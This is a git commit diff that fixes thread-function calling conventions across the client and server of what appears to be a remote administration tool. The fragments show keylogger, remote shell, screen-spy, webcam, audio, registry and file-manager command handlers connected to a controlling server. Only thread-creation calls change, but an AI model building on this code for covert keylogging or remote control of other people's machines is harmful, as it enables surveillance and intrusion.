fix: #51 Different function calling convention

This commit is contained in:
yuanyuanxiang
2025-03-30 20:18:18 +08:00
parent 0ec02402e3
commit 53f2bbed73
16 changed files with 29 additions and 63 deletions

View File

@@ -109,7 +109,7 @@ BOOL CAudio::InitializeWaveIn()
DWORD dwThreadID = 0;
m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -33,8 +33,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL);
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
}

View File

@@ -22,7 +22,7 @@ public:
virtual ~CAudioManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
static DWORD WorkThread(LPVOID lParam);
static DWORD WINAPI WorkThread(LPVOID lParam);
BOOL SendRecordBuffer();
CAudio* m_AudioObject;

View File

@@ -143,7 +143,7 @@ int main(int argc, const char *argv[])
do{
g_bExit = 0;
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
@@ -186,7 +186,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
}
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
HANDLE hThread = CreateThread(NULL,0,StartClient,NULL,0,NULL);
if (hThread == NULL) {
return;
}

View File

@@ -16,30 +16,6 @@
extern CONNECT_ADDRESS g_SETTINGS;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE StartAddress,
LPVOID lParam,
DWORD dwCreationFlags,
LPDWORD ThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARG_LIST ThreadArgList = {0};
ThreadArgList.StartAddress = StartAddress;
ThreadArgList.lParam = (void *)lParam; //IP
ThreadArgList.bInteractive = bInteractive; //??
ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
hThread = (HANDLE)CreateThread(SecurityAttributes,
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
dwCreationFlags, (LPDWORD)ThreadId);
if (ThreadArgList.hEvent != NULL) {
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
CloseHandle(ThreadArgList.hEvent);
}
return hThread;
}
DWORD WINAPI ThreadProc(LPVOID lParam)
{
THREAD_ARG_LIST ThreadArgList = {0};

View File

@@ -16,14 +16,7 @@ typedef struct UserParam
BYTE* buffer;
int length;
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
LPVOID lParam, //char* strHost IP
DWORD dwCreationFlags, //0 4
LPDWORD ThreadId, bool bInteractive=FALSE);
}UserParam;
DWORD WINAPI ThreadProc(LPVOID lParam);

View File

@@ -163,7 +163,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
}
if (m_hWorkThread == NULL){
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
WorkThreadProc,(LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
}
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");

View File

@@ -120,7 +120,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)LoopKeyboardManager,
LoopKeyboardManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -128,7 +128,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_TALK:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopTalkManager,
LoopTalkManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -136,7 +136,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHELL:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopShellManager,
LoopShellManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -144,7 +144,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)LoopProcessManager,
LoopProcessManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -152,7 +152,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopWindowManager,
LoopWindowManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -183,7 +183,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager,
LoopScreenManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -191,7 +191,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_LIST_DRIVE :
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopFileManager,
LoopFileManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -199,7 +199,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_WEBCAM:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopVideoManager,
LoopVideoManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -207,7 +207,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_AUDIO:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopAudioManager,
LoopAudioManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -215,7 +215,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_REGEDIT:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
LoopRegisterManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
@@ -223,7 +223,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SERVICES:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopServicesManager,
LoopServicesManager,
&m_hThread[m_ulThreadCount], 0, NULL);
break;
}

View File

@@ -28,8 +28,8 @@ CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user)
m_bIsWorking = true;
dKeyBoardSize = 0;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendData,(LPVOID)this,0,NULL);
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
}
CKeyboardManager1::~CKeyboardManager1()

View File

@@ -60,7 +60,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
m_hWorkThread = CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
}

View File

@@ -100,8 +100,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
WaitForDialogOpen();
m_hThreadRead = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
m_hThreadRead = CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
}
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)

View File

@@ -22,8 +22,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
lpBuffer = NULL;
m_hWorkThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL);
m_hWorkThread = CreateThread(NULL, 0, WorkThread, this, 0, NULL);
}

View File

@@ -24,7 +24,7 @@ public:
void SendBitMapInfor();
BOOL SendNextScreen();
static DWORD WorkThread(LPVOID lParam);
static DWORD WINAPI WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo;
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);

View File

@@ -67,7 +67,7 @@ BOOL CAudioDlg::OnInitDialog()
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;

View File

@@ -22,7 +22,7 @@ public:
HANDLE m_hWorkThread;
CAudio m_AudioObject;
static DWORD CAudioDlg::WorkThread(LPVOID lParam);
static DWORD WINAPI WorkThread(LPVOID lParam);
void CAudioDlg::OnReceiveComplete(void);
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -261,7 +261,7 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
m_hListenThread =
(HANDLE)CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)ListenThreadProc,
ListenThreadProc,
(void*)this, //<2F><>Thread<61>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>this <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա
0,
NULL);
@@ -314,7 +314,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
{
hWorkThread = (HANDLE)CreateThread(NULL, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD>Ͷ<EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
0,
(LPTHREAD_START_ROUTINE)WorkThreadProc,
WorkThreadProc,
(void*)this,
0,
NULL);
@@ -385,7 +385,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
{
HANDLE hThread = (HANDLE)CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)WorkThreadProc,
WorkThreadProc,
(void*)This,
0,
NULL);